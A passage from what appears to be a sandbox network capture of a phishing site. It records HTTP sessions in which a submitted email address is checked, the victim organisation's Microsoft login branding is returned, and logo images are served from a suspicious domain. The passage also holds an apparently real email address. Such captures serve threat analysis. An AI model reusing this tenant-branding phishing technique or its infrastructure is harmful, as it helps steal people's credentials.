61 c3 86 61 dc b8 71 71 e5 82 ac 07 33 ff 92 e2 25 43 b2 1e aa aa e2 fd f7 df c7 3b Data Ascii: (,,-["(V,GY;&)DB @zzzCs8zhTkbzSO=oXaTZZW[[7\|-0j(G?'/fa$IFouo>c[Mi)XIYY+p#j$I<k9<_>r/aaqq3%C;
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: ac 02 f0 07 53 25 45 49 71 71 b1 e6 d1 25 a9 a9 a9 ba 47 b5 b9 91 ee dd bb 23 25 25 a5 49 79 75 75 35 8a 8b 8b 35 ae b0 0f 66 5e 56 67 2b 4d d0 f5 2a 13 04 e1 65 00 f6 86 b5 5c 85 5e de 85 9e 3d 7b ba de 39 ee 6a 04 41 d0 4d 2b ee a4 83 10 00 54 b7 6b d7 ee 8f 7a 95 ba 7f 11 9f cf 57 46 44 6f 98 a3 29 7a 8e 1f 3f ae 59 de ad 5b 37 8b 95 98 8f 9e e7 83 de ef c0 26 56 65 66 66 ea 46 e2 b6 f4 55 5f 0c c0 11 f9 b3 f4 9c e3 e2 ec a8 10 00 d0 4d c8 76 f2 a4 63 5c e6 2e 11 d1 73 cd 35 68 d6 b0 fc 7e ff 31 00 2b 0d 95 d4 4a f4 f2 2c c4 63 6c 9e de 97 a5 bc bc dc 62 25 da 10 d1 72 bf df 7f b4 b9 36 2d 4e 4e 54 55 fd 0f 38 60 ae 75 fe fc 79 cd 72 27 9c 4e 6f 34 7a ae 34 7a bf 03 2b 61 e6 0b 35 35 35 4b 5b 6a d7 a2 61 65 67 67 97 02 78 d1 10 55 31 a0 77 98 a5 1b f7 Data Ascii: S%EIqq%G#%%Iyuu55f^Vg+M*e\^={9jAM+TkzWFDo)z?Y[7&VeffFU_Mvc\.s5h~1+J,clb%r6-NNTU8`uyr'No4z4z+a555K[jaeggxU1w
2024-10-07 18:59:09 UTC	18	IN	Data Raw: 4a ac 93 a5 90 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: JIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49758	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	752	OUT	POST /get_logo_banner/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive Content-Length: 27 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	27	OUT	Data Raw: 65 6d 61 69 6c 3d 64 73 79 68 72 65 25 34 30 6f 6c 67 6f 6f 6e 69 6b 2e 63 6f 6d Data Ascii: email=dsyhre%40olgoonik.com
2024-10-07 18:59:09 UTC	710	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: application/json Content-Length: 408 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BZkZ46NMqdoAGfzT1ZD2QAK34lg1ZCie2qu1osHVLeloC%2By%2FgP%2FOqCzWYD8v0Ff7lIuIy%2FzD50jx0xy6nNDoIFC2U5JyXXmmwT6zMQN4HxNxXB8u%2F1A8hYUbMScxiG4FA6FnbUhXCO9fgS4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0206f0c275e74-EWR
2024-10-07 18:59:09 UTC	408	IN	Data Raw: 7b 22 6d 73 73 67 22 3a 20 22 42 6f 74 68 20 42 61 63 6b 67 72 6f 75 6e 64 20 61 6e 64 20 6c 6f 67 6f 20 62 65 69 6e 67 20 66 6f 75 6e 64 22 2c 20 22 45 78 69 73 74 45 6d 61 69 6c 22 3a 20 22 59 65 73 22 2c 20 22 49 73 47 6f 64 61 64 64 79 22 3a 20 22 4e 6f 22 2c 20 22 42 61 63 6b 67 72 6f 75 6e 64 4c 6f 67 6f 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 2f 64 62 64 35 61 32 64 64 2d 67 6a 78 61 38 31 36 71 33 68 69 65 6e 66 39 64 62 64 6d 37 34 61 67 6c 73 36 76 69 31 33 2d 6e 68 76 73 68 37 37 78 68 62 63 6d 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 2f 30 2f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 3f 74 73 3d 36 33 36 36 31 33 39 38 30 31 37 31 34 30 30 30 31 36 22 2c 20 22 42 61 Data Ascii: {"mssg": "Both Background and logo being found", "ExistEmail": "Yes", "IsGodaddy": "No", "BackgroundLogo": "https://aadcdn.msauthimages.net/dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/illustration?ts=636613980171400016", "Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49759	142.250.185.142	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	334	OUT	GET / HTTP/1.1 Host: google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	854	IN	HTTP/1.1 301 Moved Permanently Location: https://www.google.com/ Content-Type: text/html; charset=UTF-8 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-xgcxZesp_c5Ng9C9GOtaIQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Mon, 07 Oct 2024 18:59:09 GMT Expires: Wed, 06 Nov 2024 18:59:09 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 220 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-07 18:59:09 UTC	220	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://www.google.com/">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49762	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	378	OUT	GET /static/media/person_office.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	829	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: image/png Content-Length: 6045 Connection: close Content-Disposition: inline; filename="person_office.png" Last-Modified: Sat, 04 Nov 2023 15:29:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 0 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SiXQOtmAhJZNGZi6V5Hmhn1DvXXMy2%2FgeqEsJRqfA%2Fh3O0VT3v665RvoqIfsFwlq6SyTi6FR3bbh9p0HwBqqOOKpRgsAxWTd8fqJoAmzKVc31C5qyj3hSd2%2FXWhUcLeK5EYBBDQ3JZtj8Jw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf02072eb844282-EWR
2024-10-07 18:59:09 UTC	540	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 16 e9 49 44 41 54 78 9c ed 9d 7b 74 54 d5 bd c7 bf bf 33 03 89 49 44 34 24 99 39 93 40 80 46 0c 5c b4 70 91 a7 14 17 82 17 2c 95 a5 20 74 15 14 94 8b 14 6a 97 0f 2a 0f 91 96 b6 5c 50 5b 7b bd 5e e9 03 85 42 d4 bb 14 84 5e 29 f5 5a b0 0a 28 20 a8 08 84 08 88 26 3c 32 e7 cc 04 52 5e 49 20 24 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{tT3ID4$9@F\p, tj*\P[{^B^)Z( &<2R^I $
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 57 89 e8 6d 51 14 ab ec d6 13 2d ae 32 ac 50 28 94 a9 28 ca 2c 00 8f 11 51 ba dd 7a 2c e2 1c 11 ad aa ad ad 7d 21 27 27 27 68 b7 98 48 71 85 61 85 42 a1 ae cc bc 80 99 27 03 48 b2 5b 8f 4d 54 13 51 01 80 25 7e bf ff a8 dd 62 5a c2 d1 86 15 0c 06 73 04 41 f8 19 33 cf 40 db 35 a8 c6 d4 00 78 4b 10 84 5f f8 7c be 12 bb c5 e8 e1 48 c3 3a 75 ea d4 f5 35 35 35 f3 99 f9 49 00 c9 76 eb 71 28 17 01 bc 28 08 c2 52 9f cf 57 69 b7 98 c6 38 ca b0 ea 16 32 a7 30 f3 12 00 7e bb f5 b8 01 22 92 00 cc f3 f9 7c 6f 38 69 a9 c2 31 86 55 56 56 d6 fd d2 a5 4b cb 05 41 18 6e b7 16 97 f2 31 80 47 45 51 3c 64 b7 10 00 10 ec 16 c0 cc 5e 49 92 9e a9 ad ad 3d 90 30 aa 98 18 ca cc 7b 24 49 9a cb cc 5e bb c5 d8 7a c7 92 65 39 17 c0 eb cc 7c 87 9d 3a e2 90 dd 8a a2 4c b2 73 bb c8 b6 3b Data Ascii: WmQ-2P((,Qz,}!'''hHqaB'H[MTQ%~bZsA3@5xK_\|H:u555Ivq((RWi820~"\|o8i1UVVKAn1GEQ<d^I=0{$I^ze9\|:Ls;
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 0e 1e 3c a8 db 26 23 23 03 b3 66 cd 42 8f 1e 3d 0c 19 b3 b0 b0 10 2b 57 ae 6c f6 ee d8 ab 57 2f cc 9f 3f 1f 82 e0 fe b8 13 22 9a ea f7 fb 57 37 2e d7 fb c9 a6 9b ac c7 12 d6 ad 5b d7 ac 51 0d 1c 38 10 4b 97 2e 35 cc a8 00 a0 77 ef de 58 ba 74 29 fa f4 e9 a3 db a6 a8 a8 08 eb d7 af 37 6c 4c 9b f9 77 ad c2 26 86 15 0e 87 7b 03 18 60 ba 1c 93 29 2e 2e c6 86 0d 1b 74 eb 87 0f 1f 8e c7 1e 7b 0c 29 29 c6 07 16 25 27 27 63 f6 ec d9 18 39 72 a4 6e 9b 77 df 7d 17 47 8f 1e 35 7c 6c ab 61 e6 3b 64 59 ee d9 b8 bc 89 61 29 8a 32 d5 12 45 26 a2 aa 2a 56 ac 58 01 55 55 35 eb 87 0f 1f 8e 69 d3 a6 99 fa 28 12 04 01 53 a7 4e c5 90 21 43 34 eb 15 45 c1 8a 15 2b c0 ec 98 0c da b1 30 a5 71 c1 35 bf d9 3a b7 88 f1 96 c9 31 89 dd bb 77 a3 a4 44 7b ed 2e 2f 2f 0f 0f 3f fc 30 88 Data Ascii: <&##fB=+WlW/?"W7.[Q8K.5wXt)7lLw&{`)..t{))%''c9rnw}G5\|la;dYa)2E&*VXUU5i(SN!C4E+0q5:1wD{.//?0
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 19 5d 9f d1 ef 8e 3b ee c0 6d b7 dd d6 e2 e1 00 e5 e5 e5 28 2c 2c c4 96 2d 5b 22 8a b2 e9 d6 ad 1b e6 cf 9f ef 28 8f 56 93 08 91 2c cb 47 98 59 3b 26 29 8e a8 9f f7 44 f3 d8 cb ca ca 42 20 10 40 7a 7a 7a 43 0e d2 73 e7 ce e1 fc f9 f3 38 7a f4 68 54 6b 62 bd 7a f5 c2 53 4f 3d e5 0a 6f d6 58 61 e6 c3 54 5a 5a ba b3 ad 1c 13 57 5b 5b 8b 37 df 7c 13 7f ff fb df 2d 1b 93 88 30 6a d4 28 fc e8 47 3f 8a 27 2f d1 66 61 e6 ed 24 49 d2 46 00 df 6f b1 75 1c b1 6f df 3e bc fa ea ab a6 af c2 a7 a7 a7 63 fa f4 e9 b8 f5 d6 5b 4d 1d c7 69 10 d1 06 01 c0 29 bb 85 58 49 59 59 19 be fa ea 2b dd 95 70 23 a9 a8 a8 c0 ee dd bb 1d e5 c1 6a 11 e5 24 49 d2 af 01 3c 6b b7 12 b3 39 7f fe 3c d6 af 5f 8f 0f 3e f8 c0 72 2f 07 8f c7 83 61 c3 86 61 dc b8 71 71 e5 82 ac 07 33 ff 92 e2 25 Data Ascii: ];m(,,-["(V,GY;&)DB @zzzCs8zhTkbzSO=oXaTZZW[[7\|-0j(G?'/fa$IFouo>c[Mi)XIYY+p#j$I<k9<_>r/aaqq3%
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 1e 8b 72 4a 6f 25 41 d3 b0 44 51 ac 02 f0 07 53 25 45 49 71 71 b1 e6 d1 25 a9 a9 a9 ba 47 b5 b9 91 ee dd bb 23 25 25 a5 49 79 75 75 35 8a 8b 8b 35 ae b0 0f 66 5e 56 67 2b 4d d0 f5 2a 13 04 e1 65 00 f6 86 b5 5c 85 5e de 85 9e 3d 7b ba de 39 ee 6a 04 41 d0 4d 2b ee a4 83 10 00 54 b7 6b d7 ee 8f 7a 95 ba 7f 11 9f cf 57 46 44 6f 98 a3 29 7a 8e 1f 3f ae 59 de ad 5b 37 8b 95 98 8f 9e e7 83 de ef c0 26 56 65 66 66 ea 46 e2 b6 f4 55 5f 0c c0 11 f9 b3 f4 9c e3 e2 ec a8 10 00 d0 4d c8 76 f2 a4 63 5c e6 2e 11 d1 73 cd 35 68 d6 b0 fc 7e ff 31 00 2b 0d 95 d4 4a f4 f2 2c c4 63 6c 9e de 97 a5 bc bc dc 62 25 da 10 d1 72 bf df 7f b4 b9 36 2d 4e 4e 54 55 fd 0f 38 60 ae 75 fe fc 79 cd 72 27 9c 4e 6f 34 7a ae 34 7a bf 03 2b 61 e6 0b 35 35 35 4b 5b 6a d7 a2 61 65 67 67 97 02 Data Ascii: rJo%ADQS%EIqq%G#%%Iyuu55f^Vg+M*e\^={9jAM+TkzWFDo)z?Y[7&VeffFU_Mvc\.s5h~1+J,clb%r6-NNTU8`uyr'No4z4z+a555K[jaegg
2024-10-07 18:59:09 UTC	29	IN	Data Raw: 28 c5 46 44 14 bb 95 ff 07 8e 4e 4a ac 93 a5 90 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: (FDNJIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49764	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	380	OUT	GET /static/media/microsoft_logo.png/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	776	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 1552 Connection: close Content-Disposition: inline; filename="microsoft_logo.png" Last-Modified: Sat, 04 Nov 2023 15:12:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OFhoSIdJpbizLwTsvS%2FzCbKzuLPRY%2F8NcunxPZFUYYBpAL0xD9CvJFxhzwwDOdHfzGaITCUlU9ktebAXgd4GSgq%2FKS7JJ88o%2BvlHpGgTXuUMUrQfxqNd4RERZw1D1UGhq4vmBCUUMuN2FUg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020731c7341fb-EWR
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 05 5c 49 44 41 54 68 81 ed 59 4d 8e db 36 14 fe 1e 4d 64 19 bb 27 b0 d1 0b 8c 6f 10 77 d3 2e e3 03 14 b0 73 02 ca 22 b4 1e cf da 90 2c 9d a0 0a d0 03 b8 cb 76 53 e5 06 ce 05 52 fb 04 75 ba 0c 44 be 2e 44 6a 18 cd 9f 27 c0 c0 0e e0 6f 33 e6 e3 23 f9 a8 8f 7c ef f1 0d fd 37 fd 91 71 24 5e 6f Data Ascii: PNGIHDRlsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-\IDAThYM6Md'ow.s",vSRuD.Dj'o3#\|7q$^o
2024-10-07 18:59:10 UTC	183	IN	Data Raw: 4d 7d 37 f7 da 27 3b d6 da bc 28 8a c3 6a b5 da 86 b7 2e 98 ab 7d 32 18 63 ba d9 e6 7d 08 09 9d 01 98 9d e4 86 d5 75 bd 13 42 dc 00 80 b5 76 e7 e5 2e 1b 8c 98 79 24 a5 ec 9e be d2 bd 93 5a 58 6b 6f 80 f6 2d 07 00 48 d3 74 ee 4e 63 5b e9 70 2e 6a e3 75 dd 43 fb 0e 5c a5 a3 12 42 cc bb 15 0c 63 4c e9 c9 f2 6f a2 40 e7 00 60 b3 5e af cb ee 5c 9d aa c9 01 40 15 ce 15 ee 2d 70 a5 7e 2f 51 92 24 a5 b5 36 72 ff 95 d8 d2 39 a4 f5 17 1c 8f b3 72 89 17 3c 8d 0b 61 df 19 2e 84 5d 70 c1 4b e2 7f 34 9a bf 89 ea 95 9e 1f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: M}7';(j.}2c}uBv.y$ZXko-HtNc[p.juC\BcLo@`^\@-p~/Q$6r9r<a.]pK4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49765	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	382	OUT	GET /static/media/person_workshcool.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	833	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: image/png Content-Length: 5421 Connection: close Content-Disposition: inline; filename="person_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:29:02 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 0 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KAouXvRmkRWH8KOX%2Bft6kIXuhJ%2BhsDlIkrlThvfSaoa928nkmpclwoVlFYTkp0dBVL1RYqPTYfZEukuCT9nLuPBGarFcz3lQlNQ8%2FdClyt7OBZuVmVPhLCb182MdRYRDzFTEQF7oHTRliA8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020736f9c7292-EWR
2024-10-07 18:59:10 UTC	536	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 79 49 44 41 54 78 9c ed 9d 7f 70 55 e5 99 c7 bf cf 7b f3 4b b1 e1 47 30 39 e7 92 40 90 09 dd 2e a2 19 50 28 62 86 19 5b 7e d8 66 97 71 00 b7 2d 54 94 15 ec ba 95 da d2 15 4b 6d c5 ba 0b 4a c1 ca 6e b5 42 0b d2 6a 15 0b bb 2a 22 ab 66 14 84 22 a6 1b 31 36 38 ea d0 92 00 b9 f7 9c 7b 6b 08 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-yIDATxpU{KG09@.P(b[~fq-TKmJnBj*"f"168{k
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 43 ba ae ff 9a 88 5e 08 06 83 67 dd d6 13 2f be 32 96 aa aa 85 9a a6 dd 0d e0 bb 44 54 e0 b6 1e 87 68 21 a2 6d 9d 9d 9d eb 4a 4a 4a 42 6e 8b 89 15 5f 18 4b 55 d5 b1 cc fc 63 66 5e 04 20 d7 6d 3d 2e 71 9e 88 7e 07 60 8d 2c cb 0d 6e 8b 19 0c 4f 1b 2b 14 0a 95 08 21 7e c8 cc 77 21 7d 0d d5 97 0e 00 db 85 10 0f 4a 92 54 ef b6 18 33 3c 69 ac 4f 3f fd f4 0b 1d 1d 1d 3f 62 e6 ef 03 c8 73 5b 8f 47 69 03 b0 41 08 b1 56 92 a4 56 b7 c5 f4 c5 53 c6 ea 5a c8 5c cc cc 6b 00 c8 6e eb f1 03 44 14 06 70 bf 24 49 cf 7a 69 a9 c2 33 c6 8a 46 a3 e3 da db db 37 0b 21 6e 72 5b 8b 4f 39 00 60 59 30 18 fc d8 6d 21 00 20 dc 16 c0 cc 59 e1 70 78 55 67 67 e7 91 8c a9 92 a2 82 99 0f 87 c3 e1 95 cc 9c e5 b6 18 57 23 96 a2 28 a5 00 9e 61 e6 1b dd d4 91 82 fc 49 d3 b4 85 6e be 2e 72 2d Data Ascii: C^g/2DTh!mJJJBn_KUcf^ m=.q~`,nO+!~w!}JT3<iO??bs[GiAVVSZ\knDp$Izi3F7!nr[O9`Y0m! YpxUggW#(aIn.r-
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: c6 ab 9c 3a 75 ca 6d 09 86 30 f3 8d 8a a2 fc 7d df eb fd 8c a5 69 da ed 8e 28 4a 80 44 7f fb 4b 05 3c fe bd f7 db a4 79 49 75 dd ae 62 1e f3 9d d3 63 1d 66 9b 53 63 a5 bd bd 1d cb 97 2f 47 4b 4b 4b bf b6 ec ec 6c 3c fe f8 e3 18 3e 7c 78 52 63 c4 c2 b7 be f5 2d db c7 b0 1a 66 fe 06 33 df df bb b8 c8 25 11 4b 51 94 e9 00 92 de 53 e6 47 72 72 72 4c 77 25 77 74 74 e0 95 57 5e 71 58 91 af 18 1d 89 44 2e 29 ff 79 89 b1 88 c8 97 d1 ca 2a 66 cd 9a 65 ba 1a ff e6 9b 6f e2 f4 e9 d3 0e 2b f2 0f ba ae df da fb eb 4b 8c d5 75 32 69 da 92 9b 9b 3b 60 d4 da bd 7b b7 c3 8a fc 03 33 5f f2 0f d7 63 ac ae 7c 76 5f 1c 77 6b 27 03 45 ad aa aa aa 4c d4 32 81 88 be 18 8d 46 7b fc 23 7a 35 dc ec 8e 24 6f 31 58 e6 43 26 6a 99 a3 69 da ec ee bf f7 fe 28 fc aa 0b 5a 3c c9 40 99 0f Data Ascii: :um0}i(JDK<yIubcfSc/GKKKl<>\|xRc-f3%KQSGrrrLw%wttW^qXD.)y*feo+Ku2i;`{3_c\|v_wk'EL2F{#z5$o1XC&ji(Z<@
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: ac 3f bf 41 44 75 c0 c5 6a 33 ef b9 a8 c5 55 3e fa e8 23 4b 4b 6d ef da b5 0b 75 75 69 fb 01 00 5d d7 0f 03 17 0f 10 30 3e 74 2f 85 d1 75 1d cf 3c f3 0c 5e 7f fd 75 4b fb 8d 46 a3 58 bb 76 2d e6 cc 99 83 45 8b 16 a5 dd 06 0b 66 fe 23 d0 15 b1 64 59 fe 04 40 fc 4b ce 3e a5 ad ad 0d eb d7 af b7 dc 54 bd 79 ed b5 d7 b0 61 c3 86 74 2b d0 16 2d 2e 2e 3e 0a 5c 9c 63 31 11 bd eb ae 26 67 e8 ec ec c4 c6 8d 1b 63 4e 47 0e 04 02 18 3e 7c 78 4f 82 df f0 e1 c3 11 08 04 62 7a f6 fd f7 df c7 c6 8d 1b d3 a9 ac 64 cf 27 5f 4f 6a 32 33 57 01 f8 07 57 e4 38 c8 d6 ad 5b f1 c1 07 1f 0c 78 4f 4e 4e 0e a6 4d 9b 86 eb af bf 1e 57 5f 7d 75 bf 85 ce f6 f6 76 d4 d5 d5 a1 a6 a6 06 87 0e 1d 32 4d 51 06 80 0f 3e f8 00 5b b7 6e c5 b2 65 cb 2c d1 ef 65 88 a8 aa fb ef 3d c6 d2 75 fd b5 Data Ascii: 